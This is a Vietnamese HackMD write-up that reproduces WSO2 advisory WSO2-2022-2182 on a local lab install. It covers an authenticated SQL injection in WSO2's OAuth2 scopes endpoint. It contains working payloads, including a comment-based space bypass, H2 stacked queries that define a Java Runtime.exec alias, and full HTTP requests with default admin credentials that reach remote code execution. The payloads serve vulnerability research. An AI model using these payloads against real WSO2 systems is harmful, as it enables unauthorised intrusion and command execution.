Try   HackMD

Lỗi này được public vào tháng 6 2023 nhưng không có mã CVE, sau đây là các version bị ảnh hưởng, và một số thông tin khác:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Ref: https://security.docs.wso2.com/en/latest/security-announcements/security-advisories/2023/WSO2-2022-2182/#security-advisory-wso2-2022-2182

Tổng quan:

Đây là một lỗi liên quan tới SQL, với endpoint chỉ có thể truy cập từ người dùng đã xác thực

Setup:

PS D:\JAVACVE\wso2am-4.0.0\bin> .\api-manager.bat --debug 5005
  • URL web: http://localhost:9443 (login account mặc định admin/admin)
    Đồng thời setup debug trong IntelliJ như sau:
    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →

Check commit:

Đầu tiên sẽ kiểm tra xem lỗi được vá như thế nào từ bản vá được public ở trang chủ: URL, củ thể hơn: URL

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Lỗi được vá bên trong file OAuthScopeDAOImpl.java, method getRequestedScopesOnly
Path: org/wso2/carbon/identity/oauth2/dao/OAuthScopeDAOImpl.java

public Set<Scope> getRequestedScopesOnly(int tenantID, Boolean includeOIDCScopes, String requestedScopes) throws IdentityOAuth2ScopeServerException { if (log.isDebugEnabled()) { log.debug(String.format("Get requested scopes for scopes: %s for tenantId: %s with includeOIDCScopes: %s", requestedScopes, tenantID, includeOIDCScopes)); } String sql; if (includeOIDCScopes) { sql = String.format("SELECT SCOPES.SCOPE_ID, SCOPES.NAME, SCOPES.DISPLAY_NAME, SCOPES.DESCRIPTION, SCOPEBINDINGS.SCOPE_BINDING, SCOPEBINDINGS.BINDING_TYPE FROM IDN_OAUTH2_SCOPE SCOPES LEFT JOIN IDN_OAUTH2_SCOPE_BINDING SCOPEBINDINGS ON SCOPES.SCOPE_ID=SCOPEBINDINGS.SCOPE_ID WHERE SCOPES.TENANT_ID=? AND SCOPES.NAME IN (?)"); } else { sql = String.format("SELECT SCOPES.SCOPE_ID, SCOPES.NAME, SCOPES.DISPLAY_NAME, SCOPES.DESCRIPTION, SCOPEBINDINGS.SCOPE_BINDING, SCOPEBINDINGS.BINDING_TYPE FROM IDN_OAUTH2_SCOPE SCOPES LEFT JOIN IDN_OAUTH2_SCOPE_BINDING SCOPEBINDINGS ON SCOPES.SCOPE_ID=SCOPEBINDINGS.SCOPE_ID WHERE SCOPES.TENANT_ID=? AND SCOPES.SCOPE_TYPE=? AND SCOPES.NAME IN (?)"); } List<String> requestedScopeList = Arrays.asList(requestedScopes.split("\\s+")); String sqlIN = (String)requestedScopeList.stream().map((x) -> { return String.valueOf(x); }).collect(Collectors.joining("', '", "('", "')")); sql = sql.replace("(?)", sqlIN);

Phân tích một chút về đoạn code:

  • requestedScopeList sẽ tạo ra một mảng list lấy giá trị từ tham số requestedScopes được phân cách bởi khoảng trắng (bao gồm cả xuống dòng,tab,).
  • Sau đó các từng giá trị trong mảng sẽ được thêm vào kí tự (''), tiếp tục các giá trị này sẽ được đưa vào câu query SELECT tuỳ vào giá trị của includeOIDCScopes.
  • Cuối cùng câu query sẽ được thực thi
    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →

Exploit:

Sau khi phân tích vậy lỗi SQL xảy ra như thế nào? Mặc dù đã sử dụng prepareStatement nhằm hạn chế SQL attack.
Để ý kĩ một chút sẽ thấy việc sử dụng collect(Collectors.joining("', '", "('", "')")) đã vô tình tạo ra lỗi SQL trước khi đưa vào thực thi.
Ví dụ khi input requestedScopes = 123 câu query sẽ là:

SELECT SCOPES.SCOPE_ID, SCOPES.NAME, SCOPES.DISPLAY_NAME, SCOPES.DESCRIPTION, SCOPEBINDINGS.SCOPE_BINDING, SCOPEBINDINGS.BINDING_TYPE FROM IDN_OAUTH2_SCOPE SCOPES LEFT JOIN IDN_OAUTH2_SCOPE_BINDING SCOPEBINDINGS ON SCOPES.SCOPE_ID=SCOPEBINDINGS.SCOPE_ID WHERE SCOPES.TENANT_ID=? AND SCOPES.NAME IN ('123')

Nếu như thêm ') vào nữa thì câu query sẽ trở thành:

SELECT SCOPES.SCOPE_ID, SCOPES.NAME, SCOPES.DISPLAY_NAME, SCOPES.DESCRIPTION, SCOPEBINDINGS.SCOPE_BINDING, SCOPEBINDINGS.BINDING_TYPE FROM IDN_OAUTH2_SCOPE SCOPES LEFT JOIN IDN_OAUTH2_SCOPE_BINDING SCOPEBINDINGS ON SCOPES.SCOPE_ID=SCOPEBINDINGS.SCOPE_ID WHERE SCOPES.TENANT_ID=? AND SCOPES.NAME IN ('123')--')

Như vậy việc POC lại SQL đã gần như là hoàn thành, bây giờ chúng ta cần biết CSDL đang dùng cho WSO2 là gì và tìm ra endpoint để truy cập đến đoạn bị lỗi này.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

The OAuth2 scope API in WSO2 Identity Server (IS) can be used to manage oauth2 scopes and scope bindings such as roles and permissions. Since OIDC scope is a sub category of OAuth2 scopes, these endpoints cannot have the same scope names as in WSO2 IS.

  • Như đã nói ở trên lỗi này cần có tài khoản auth, thế nên không thể quên xác thực thêm với request header: Authorization: Basic <Base64Encoded[username:password]>
  • Truy cập đến với method GET: https://localhost:9443/api/identity/oauth2/v1.0/scopes và 4 tham số như trên ảnh, nhưng chúng ta chỉ cần quan tâm đến param requestedScopes vì tham số này được truyền vào method getRequestedScopesOnly

Bây giờ ta sẽ test inject thử xem phân tích lý thuyết trên đã đúng chưa

  • Trước khi test cần nhớ đến: split("\\s+"), nếu như payload có khoảng cách thì nó sẽ được đưa vào mảng, nên query syntax trở nên bị sai. Cách bypass chỉ cần sử dụng /**/ thay thế cho space.
    Ví dụ như sau: ')/**/or/**/1/**/=/**/1/**/--
    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →

    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →

Việc sử dụng H2 có thể dẫn tới RCE, đọc thêm ở blog: https://www.sonarsource.com/blog/dotcms515-sqli-to-rce

Ta sẽ có 2 query sau để RCE:

Query 1: CREATE ALIAS EXEC AS $$ void e(String cmd) throws java.io.IOException {java.lang.Runtime rt= java.lang.Runtime.getRuntime();rt.exec(cmd);}$$ Query 2: CALL EXEC('whoami');
  • Điều kiện cần cho việc sử dụng query RCE này là H2 có hỗ trợ stack query (thực thi 2 câu lệnh) cùng một lúc hay không?
    Sau một hồi search thì không ra gì (sure là search gà :v) thì có thấy một thread báo cáo lỗi (không liên quan lắm)
    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →

Thì mình nghĩ chắc là có hỗ trợ, test thử xem sao :v

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Replace space và URL encode sau đó inject thử thôi.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

OMG :v Server 500 chắc chắn bị lỗi syntax
Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Check lại lỗi trong log thì đúng là thế thật, sau khi kiểm tra lại và có thử CHATGPT thì mình đã tìm ra nguyên nhân
Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Việc sử dụng $$ để thay thế như là một chuỗi, bây giờ thử sửa lại xem sao:

');CREATE ALIAS EXEC AS 'void e(String cmd) throws java.io.IOException{java.lang.Runtime rt= java.lang.Runtime.getRuntime();rt.exec(cmd);}';--

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

GET /api/identity/oauth2/v1.0/scopes?includeOIDCScopes=true&requestedScopes=');CREATE/**/ALIAS/**/TEST/**/AS'void/**/e(String/**/cmd)/**/throws/**/java.io.IOException%7Bjava.lang.Runtime/**/rt=/**/java.lang.Runtime.getRuntime();rt.exec(cmd);%7D';-- HTTP/1.1 Host: localhost:9443 Authorization: Basic YWRtaW46YWRtaW4= Content-Type: application/json

OK perfect, cuối cùng chỉ cần gọi đến hàm EXEC và truyền tham số nữa là xong.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

GET /api/identity/oauth2/v1.0/scopes?requestedScopes=');CALL/**/EXEC('calc');-- HTTP/1.1 Host: localhost:9443 Authorization: Basic YWRtaW46YWRtaW4= Content-Type: application/json

Calc được popup, vậy là đã hoàn thành.